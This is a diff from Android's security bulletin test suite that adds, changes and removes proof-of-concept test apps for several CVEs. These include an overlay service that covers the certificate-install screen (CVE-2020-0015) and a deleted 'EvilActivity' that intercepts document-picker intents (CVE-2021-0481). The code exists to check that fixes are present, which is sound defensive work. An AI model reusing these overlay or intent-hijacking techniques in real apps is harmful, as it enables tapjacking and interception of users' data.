+ "/dev/st54j*", "/dev/st21nfc*" };
boolean isDriverFound = false;
for(String supportedDriver : supportedDrivers) {
if(containsDriver(device, supportedDriver, false)) {
diff --git a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java
index b2dc9b816ac..e44a04ae2b0 100644
--- a/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java
+++ b/hostsidetests/securitybulletin/test-apps/BUG-183963253/src/android/security/cts/BUG_183963253/DeviceTest.java
@@ -41,6 +41,7 @@ import androidx.test.uiautomator.Until;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertNotNull;
+import static org.junit.Assume.assumeNotNull;
/** Basic sample for unbundled UiAutomator. */
@RunWith(AndroidJUnit4.class)
@@ -111,7 +112,7 @@ public class DeviceTest {
mContext.startActivity(intent);
UiObject2 view = waitForView(By.text(Constants.TEST_APP_PACKAGE));
- assertNotNull("Activity under-test was not launched or found!", view);
+ assumeNotNull("Activity under-test was not launched or found!", view);
Log.d(LOG_TAG, "Started Activity under-test.");
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/Android.bp
new file mode 100644
index 00000000000..4efed42a7d6
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/Android.bp
@@ -0,0 +1,35 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+ name: "CVE-2020-0015",
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
+ test_suites: [
+ "sts",
+ ],
+ static_libs: [
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
+ ],
+ sdk_version: "current",
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/AndroidManifest.xml
new file mode 100644
index 00000000000..7685c352eba
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/AndroidManifest.xml
@@ -0,0 +1,36 @@
+<!--
+ Copyright 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ xmlns:tools="http://schemas.android.com/tools"
+ package="android.security.cts.CVE_2020_0015"
+ android:versionCode="1"
+ android:versionName="1.0">
+
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+
+ <application
+ android:allowBackup="true"
+ android:label="CVE_2020_0015"
+ android:supportsRtl="true">
+ <uses-library android:name="android.test.runner" />
+ <service android:name=".PocService"
+ android:enabled="true" />
+ </application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.CVE_2020_0015" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/raw/cacert b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/raw/cacert
new file mode 100644
index 00000000000..f0a07797f08
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/raw/cacert
Binary files differ
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/values/strings.xml
new file mode 100644
index 00000000000..93f9df8faae
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/res/values/strings.xml
@@ -0,0 +1,38 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright (C) 2022 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+-->
+<resources>
+ <string name="activityNotStartedException">Unable to start the %1$s</string>
+ <string name="activityNotFoundMsg">The activity with intent %1$s was not found</string>
+ <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+ <string name="certName">Sample Certificate</string>
+ <string name="dumpsysActivityCmd">dumpsys activity %1$s</string>
+ <string name="dumpsysActivityException">Could not execute dumpsys activity command</string>
+ <string name="intentExtraKeyCert">CERT</string>
+ <string name="intentExtraKeyName">name</string>
+ <string name="mResumedTrue">mResumed=true</string>
+ <string name="overlayErrorMessage">Device is vulnerable to b/139017101 hence any app with
+ SYSTEM_ALERT_WINDOW can overlay the %1$s screen</string>
+ <string name="overlayButtonText">OverlayButton</string>
+ <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+ <string name="rawResOpenError">Could not open the raw resource %1$s</string>
+ <string name="streamReadError">Could not read from the raw resource cacert</string>
+ <string name="streamReadWriteException">Error while trying to read from InputStream object
+ and writing to a ByteArrayOutputStream object</string>
+ <string name="testPkg">android.security.cts.CVE_2020_0015</string>
+ <string name="vulActivityNotRunningError">The %1$s is not currently running on the device
+ </string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/DeviceTest.java
new file mode 100644
index 00000000000..f42eb7544ad
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/DeviceTest.java
@@ -0,0 +1,141 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2020_0015;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.content.ActivityNotFoundException;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.provider.Settings;
+import android.security.KeyChain;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ String testVulnerablePackage = "";
+
+ private void startOverlayService() {
+ Context context = getApplicationContext();
+ assertNotNull(context);
+ Intent intent = new Intent(context, PocService.class);
+
+ assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+ Settings.canDrawOverlays(getApplicationContext()));
+ try {
+ context.startService(intent);
+ } catch (Exception e) {
+ assumeNoException(
+ context.getString(R.string.activityNotStartedException, "overlay service"), e);
+ }
+ }
+
+ private void startVulnerableActivity() {
+ Context context = getApplicationContext();
+ assertNotNull(context);
+
+ InputStream inStream = context.getResources().openRawResource(R.raw.cacert);
+ assumeTrue(context.getString(R.string.rawResOpenError, "cacert"), inStream != null);
+ ByteArrayOutputStream outStream = new ByteArrayOutputStream();
+ byte[] data = new byte[1024];
+ try {
+ int nRead = inStream.read(data, 0, data.length);
+ assumeTrue(context.getString(R.string.streamReadError), nRead > 0);
+ outStream.write(data, 0, nRead);
+ } catch (Exception e) {
+ assumeNoException(context.getString(R.string.streamReadWriteException), e);
+ }
+
+ Intent intent = KeyChain.createInstallIntent();
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ intent.putExtra(context.getString(R.string.intentExtraKeyName),
+ context.getString(R.string.certName));
+ intent.putExtra(context.getString(R.string.intentExtraKeyCert), outStream.toByteArray());
+ PackageManager pm = context.getPackageManager();
+ ResolveInfo ri = pm.resolveActivity(intent, PackageManager.MATCH_DEFAULT_ONLY);
+ assumeTrue(context.getString(R.string.activityNotFoundMsg, intent), ri != null);
+ testVulnerablePackage = ri.activityInfo.packageName;
+
+ try {
+ context.startActivity(intent);
+ } catch (ActivityNotFoundException e) {
+ assumeNoException(context.getString(R.string.activityNotFoundMsg, intent), e);
+ }
+ }
+
+ @Test
+ public void testOverlayButtonPresence() {
+ UiDevice mDevice = UiDevice.getInstance(getInstrumentation());
+
+ /* Start the overlay service */
+ startOverlayService();
+
+ /* Wait for the overlay window */
+ Context context = getApplicationContext();
+ Pattern overlayTextPattern = Pattern.compile(context.getString(R.string.overlayButtonText),
+ Pattern.CASE_INSENSITIVE);
+ final int launchTimeoutMs = 20000;
+ assumeTrue(context.getString(R.string.overlayUiScreenError),
+ mDevice.wait(Until.hasObject(By.text(overlayTextPattern)), launchTimeoutMs));
+
+ /* Start the vulnerable activity */
+ startVulnerableActivity();
+
+ /* Wait until the object of launcher activity is gone */
+ boolean overlayDisallowed = false;
+ if (mDevice.wait(Until.gone(By.pkg(context.getString(R.string.testPkg))),
+ launchTimeoutMs)) {
+ overlayDisallowed = true;
+ }
+
+ /* Check if the currently running activity is the vulnerable activity */
+ String activityDump = "";
+ try {
+ activityDump = mDevice.executeShellCommand(
+ context.getString(R.string.dumpsysActivityCmd, testVulnerablePackage));
+ } catch (IOException e) {
+ assumeNoException(context.getString(R.string.dumpsysActivityException), e);
+ }
+ Pattern activityPattern =
+ Pattern.compile(context.getString(R.string.mResumedTrue), Pattern.CASE_INSENSITIVE);
+ assumeTrue(context.getString(R.string.vulActivityNotRunningError, testVulnerablePackage),
+ activityPattern.matcher(activityDump).find());
+
+ /* Failing the test as fix is not present */
+ assertTrue(context.getString(R.string.overlayErrorMessage, testVulnerablePackage),
+ overlayDisallowed);
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/PocService.java b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/PocService.java
new file mode 100644
index 00000000000..d8563d45db9
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2020-0015/src/android/security/cts/CVE_2020_0015/PocService.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2020_0015;
+
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Service;
+import android.content.Context;
+import android.content.Intent;
+import android.content.res.Resources;
+import android.graphics.PixelFormat;
+import android.os.IBinder;
+import android.provider.Settings;
+import android.view.Gravity;
+import android.view.WindowManager;
+import android.view.WindowManager.LayoutParams;
+import android.widget.Button;
+
+public class PocService extends Service {
+ private Button mButton;
+ private WindowManager mWindowManager;
+ private WindowManager.LayoutParams mLayoutParams;
+
+ private int getScreenWidth() {
+ return Resources.getSystem().getDisplayMetrics().widthPixels;
+ }
+
+ private int getScreenHeight() {
+ return Resources.getSystem().getDisplayMetrics().heightPixels;
+ }
+
+ @Override
+ public void onCreate() {
+ super.onCreate();
+ mWindowManager = getSystemService(WindowManager.class);
+ mLayoutParams = new WindowManager.LayoutParams();
+ mLayoutParams.type = WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+ mLayoutParams.flags = WindowManager.LayoutParams.FLAG_NOT_TOUCH_MODAL
+ | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+ mLayoutParams.format = PixelFormat.OPAQUE;
+ mLayoutParams.gravity = Gravity.LEFT | Gravity.TOP;
+ mLayoutParams.width = getScreenWidth();
+ mLayoutParams.height = getScreenHeight();
+ mLayoutParams.x = getScreenWidth() / 2;
+ mLayoutParams.y = getScreenHeight() / 2;
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ showFloatingWindow();
+ return super.onStartCommand(intent, flags, startId);
+ }
+
+ @Override
+ public void onDestroy() {
+ if (mWindowManager != null && mButton != null) {
+ mWindowManager.removeView(mButton);
+ }
+ super.onDestroy();
+ }
+
+ private void showFloatingWindow() {
+ Context context = getApplicationContext();
+ assumeTrue(context.getString(R.string.canNotDrawOverlaysMsg),
+ Settings.canDrawOverlays(getApplicationContext()));
+ mButton = new Button(getApplicationContext());
+ mButton.setText(context.getString(R.string.overlayButtonText));
+ mWindowManager.addView(mButton, mLayoutParams);
+ mButton.setTag(mButton.getVisibility());
+ }
+}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml
deleted file mode 100644
index eb4890b84aa..00000000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/AndroidManifest.xml
+++ /dev/null
@@ -1,56 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- xmlns:tools="http://schemas.android.com/tools"
- package="android.security.cts.CVE_2021_0481"
- android:targetSandboxVersion="2">
-
- <application>
- <uses-library android:name="android.test.runner"/>
-
- <activity android:name=".EvilActivity" android:exported="true">
- <intent-filter android:priority="100">
- <action android:name="android.intent.action.OPEN_DOCUMENT"/>
- <category android:name="android.intent.category.DEFAULT"/>
- <category android:name="android.intent.category.OPENABLE"/>
- <data android:mimeType="*/*"/>
- </intent-filter>
- <intent-filter android:priority="100">
- <action android:name="android.intent.action.CREATE_DOCUMENT"/>
- <category android:name="android.intent.category.DEFAULT"/>
- <category android:name="android.intent.category.OPENABLE"/>
- <data android:mimeType="*/*"/>
- </intent-filter>
- <intent-filter android:priority="100">
- <action android:name="android.intent.action.GET_CONTENT"/>
- <category android:name="android.intent.category.OPENABLE"/>
- <category android:name="android.intent.category.DEFAULT"/>
- <data android:mimeType="*/*"/>
- </intent-filter>
- <intent-filter android:priority="100">
- <action android:name="android.intent.action.OPEN_DOCUMENT_TREE"/>
- <category android:name="android.intent.category.DEFAULT"/>
- </intent-filter>
- </activity>
-
- </application>
-
- <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
- android:targetPackage="android.security.cts.CVE_2021_0481" />
-
-</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java
deleted file mode 100644
index 891bd181084..00000000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/src/android/security/cts/CVE_2021_0481/DeviceTest.java
+++ /dev/null
@@ -1,199 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts.CVE_2021_0481;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import android.content.pm.ResolveInfo;
-import android.os.SystemClock;
-import android.util.Log;
-
-import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
-import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-import androidx.test.filters.SdkSuppress;
-import androidx.test.runner.AndroidJUnit4;
-import androidx.test.uiautomator.By;
-import androidx.test.uiautomator.UiDevice;
-import androidx.test.uiautomator.UiObject2;
-import androidx.test.uiautomator.Until;
-import androidx.test.uiautomator.BySelector;
-
-import java.util.List;
-
-import static org.hamcrest.CoreMatchers.equalTo;
-import static org.hamcrest.CoreMatchers.is;
-import static org.hamcrest.CoreMatchers.notNullValue;
-import static org.junit.Assert.assertThat;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assume.assumeNoException;
-
-/**
- * launch "Settings" app
- * set up user photo
- */
-@RunWith(AndroidJUnit4.class)
-public class DeviceTest {
-
- class ClickableNotFound extends Exception{
- public ClickableNotFound(String s){
- super(s);
- }
- }
-
- private static final String BASIC_SAMPLE_PACKAGE
- = "android.security.cts.CVE_2021_0481";
- private static final int LAUNCH_TIMEOUT_MS = 20000;
- private static final String TAG = "TAG_2021_0481";
- private static final int IS_FOUND_FLAG = 1; // 0001
- private static final int IS_CHECKED_FLAG = 2; // 0010
- private UiDevice mDevice;
-
- @Test
- public void testUserPhotoSetUp() {
-
- //set mDevice and go to homescreen
- mDevice = UiDevice.getInstance(getInstrumentation());
- mDevice.pressHome();
-
- //start "Settings" app
- Intent myIntent = new Intent("android.settings.USER_SETTINGS");
- //android.provider.Settings.ACTION_USER_SETTINGS
- myIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
- try{
- getApplicationContext().startActivity(myIntent);
- } catch(android.content.ActivityNotFoundException e){
- Log.d(TAG, "Activity to be tested doesn't exist. Test will pass.");
- return;
- }
-
- //wait for "User Settings" activity to appear.
- SystemClock.sleep(6000);
-
- //perform UI test steps
- try {
-
- //in "Multiple users" activity showing "Use multiple users" switch
- searchAndClick(mDevice, "android:id/switch_widget", 2000);
-
- //in "Multiple users" activity showing a list of current users,
- //look for the first item "android:id/title" on the list showing "You(Owner)"
- searchAndClick(mDevice, "android:id/title", 2000);
-
- //in "Profile Info" dialog window showing clickable user silhouette
- //look for clickable android.widget.ImageView object with attributes:
- // getContentDescription()=Select photo
- // getResourceName()=com.android.settings:id/user_photo
- searchAndClick(mDevice, "com.android.settings:id/user_photo", 2000);
-
- //in unnamed subdialog showing two options: "Take a photo" "Choose an image"
- searchAndClick(mDevice, "Choose an image", 6000);
-
- //in "Browse Files in Other Apps" activity
- searchAndClick(mDevice, "android.security.cts.CVE_2021_0481.EvilActivity", 5000);
-
- //Image is chosen as (evilActivity) so we are getting back to
- //"Profile Info" dialog window showing clickable user silhouette
- //end "Cancel" and "OK" buttons.
- //look for "Cancel button and click it"
- searchAndClick(mDevice, "Cancel", 2000);
-
- } catch (ClickableNotFound e){
- Log.d(TAG, e.toString());
- assumeNoException(e);
- }
- Log.d(TAG, "end of testUserPhotoSetUp()");
- }
-
- //see what is on screen and click on object containing name
- //throw exception if object not found
- private void searchAndClick(UiDevice mDevice, String name, int timeOut) throws ClickableNotFound {
-
- int ret;
- List<UiObject2> objects = mDevice.findObjects(By.clickable(true));
- boolean found = false;
- Log.d(TAG, "looking for " + name);
- Log.d(TAG, "found " + String.valueOf(objects!=null ? objects.size() : 0) + " clickables");
-
- if(objects != null){
- for (UiObject2 o : objects) {
- if((ret=searchAndLog(o, name, "")) !=0 )
- {
- found=true;
- Log.d(TAG, name + " found");
- if((ret & IS_CHECKED_FLAG) == 0) {
- o.click();
- Log.d(TAG, name + " clicked");
- SystemClock.sleep(timeOut); //wait for click result to appear onscreen
- }
- break; //to avoid androidx.test.uiautomator.StaleObjectException
- }
- }
- }
- if(!found) {
- throw new ClickableNotFound("\"" + name + "\" not found to click on");
- }
- }
-
- //Search for 'name' in UiObject2
- //returns int flags showing search result:
- // IS_CHECKED_FLAG - 'name' matches o.getResourceName() and o.isSelected()==true
- // IS_FOUND_FLAG - 'name' matches anything else
- private int searchAndLog(UiObject2 o, String name, String prefix){
-
- int ret = 0;
- String lname = o.getText();
- String cname = o.getClassName();
- String cdesc = o.getContentDescription();
- String rname = o.getResourceName();
- boolean checked = o.isChecked();
-
- Log.d(TAG, prefix + "class=" + cname);
- Log.d(TAG, prefix + "o.getText()=" + lname);
- Log.d(TAG, prefix + "o.getContentDescription()=" + cdesc);
- Log.d(TAG, prefix + "o.getResourceName()=" + rname);
- Log.d(TAG, prefix + "o.getChildCount()=" + o.getChildCount());
-
- if( rname != null && rname.equals(name) && checked) {
- ret |= IS_CHECKED_FLAG;
- }
- else if(lname != null && lname.equals(name) || cdesc != null && cdesc.equals(name) || rname != null && rname.equals(name) ) {
- ret |= IS_FOUND_FLAG;
- }
-
- if(ret != 0) {
- Log.d(TAG, prefix + "found-->" + name);
- return ret;
- } else {
- java.util.List<UiObject2> objects2 = o.getChildren();
- if(objects2 != null && objects2.size() > 0 && prefix.length() < 50) {
- for (UiObject2 o2 : objects2) {
- if((ret=searchAndLog(o2, name, prefix + "__")) != 0){
- return ret;
- }
- }
- }
- }
- return ret;
- }
-
-}
-
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp
index a105e840158..7ff13699738 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/Android.bp
@@ -21,18 +21,17 @@ package {
android_test_helper_app {
name: "CVE-2021-0523",
- srcs: [
- "src/android/security/cts/CVE_2021_0523/PocActivity.java",
- "src/android/security/cts/CVE_2021_0523/PocService.java",
- ],
+ defaults: ["cts_support_defaults"],
+ srcs: ["src/**/*.java"],
test_suites: [
"cts",
"vts10",
"sts",
- "general-tests",
],
- sdk_version: "system_current",
static_libs: [
- "androidx.test.ext.junit",
+ "androidx.test.rules",
+ "androidx.test.uiautomator_uiautomator",
+ "androidx.test.core",
],
+ sdk_version: "current",
}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml
index 594e42765e8..e21b9b700fd 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/AndroidManifest.xml
@@ -20,24 +20,30 @@
android:versionName="1.0">
<uses-permission android:name="android.permission.FOREGROUND_SERVICE" />
- <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
- <uses-permission android:name="android.permission.WAKE_LOCK" />
+ <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
<uses-permission android:name="android.permission.WRITE_SECURE_SETTINGS" />
<application
android:allowBackup="true"
android:label="CVE-2021-0523"
android:supportsRtl="true">
+ <uses-library android:name="android.test.runner" />
<service
android:name=".PocService"
android:enabled="true"
android:exported="false" />
- <activity android:name=".PocActivity">
+ <activity android:name=".PocActivity"
+ android:exported="true"
+ android:taskAffinity="android.security.cts.cve_2021_0523.PocActivity">
<intent-filter>
<action android:name="android.intent.action.MAIN" />
<category android:name="android.intent.category.LAUNCHER" />
</intent-filter>
</activity>
</application>
+
+ <instrumentation
+ android:name="androidx.test.runner.AndroidJUnitRunner"
+ android:targetPackage="android.security.cts.cve_2021_0523" />
</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml
new file mode 100644
index 00000000000..dcdbe0aa788
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/res/values/strings.xml
@@ -0,0 +1,19 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ Copyright 2021 The Android Open Source Project
+
+ Licensed under the Apache License, Version 2.0 (the "License");
+ you may not use this file except in compliance with the License.
+ You may obtain a copy of the License at
+
+ http://www.apache.org/licenses/LICENSE-2.0
+
+ Unless required by applicable law or agreed to in writing, software
+ distributed under the License is distributed on an "AS IS" BASIS,
+ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ See the License for the specific language governing permissions and
+ limitations under the License.
+ -->
+<resources>
+ <string name="overlay_button">OverlayButton</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java
new file mode 100644
index 00000000000..e0fc3370936
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0523/src/android/security/cts/CVE_2021_0523/DeviceTest.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.cve_2021_0523;
+
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.provider.Settings;
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.BySelector;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+import java.io.IOException;
+import java.util.regex.Pattern;
+import org.junit.Before;
+import org.junit.runner.RunWith;
+import org.junit.Test;
+
+import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertNull;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+ private static final String TEST_PKG = "android.security.cts.cve_2021_0523";
+ private static final String TEST_PKG_WIFI = "com.android.settings";
+ private static final int LAUNCH_TIMEOUT_MS = 20000;
+ private UiDevice mDevice;
+ String activityDump = "";
+
+ private void startOverlayService() {
+ Context context = getApplicationContext();
+ if (Settings.canDrawOverlays(getApplicationContext())) {
+ Intent intent = new Intent(getApplicationContext(), PocService.class);
+ context.startService(intent);
+ } else {
+ try {
+ Intent intent = new Intent(Settings.ACTION_MANAGE_OVERLAY_PERMISSION);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ context.startActivity(intent);
+ } catch (Exception e) {
+ e.printStackTrace();
+ }
+ }
+ }
+
+ @Before
+ public void startMainActivityFromHomeScreen() {
+ mDevice = UiDevice.getInstance(getInstrumentation());
+ Context context = getApplicationContext();
+ assertNotNull(context);
+ PackageManager packageManager = context.getPackageManager();
+ assertNotNull(packageManager);
+ final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG);
+ assertNotNull(intent);
+ intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
+ /* Start the launcher activity */
+ context.startActivity(intent);
+ /* Wait for the WifiScanModeActivity */
+ if (!mDevice.wait(Until.hasObject(By.pkg(TEST_PKG_WIFI).depth(0)), LAUNCH_TIMEOUT_MS)) {
+ return;
+ }
+ /* Start the overlay service */
+ startOverlayService();
+ }
+
+ @Test
+ public void testOverlayButtonPresence() {
+ Pattern pattern = Pattern.compile(
+ getApplicationContext().getResources().getString(R.string.overlay_button),
+ Pattern.CASE_INSENSITIVE);
+ BySelector selector = By.text(pattern);
+ /* Wait for an object of the overlay window */
+ if (!mDevice.wait(Until.hasObject(selector.depth(0)), LAUNCH_TIMEOUT_MS)) {
+ return;
+ }
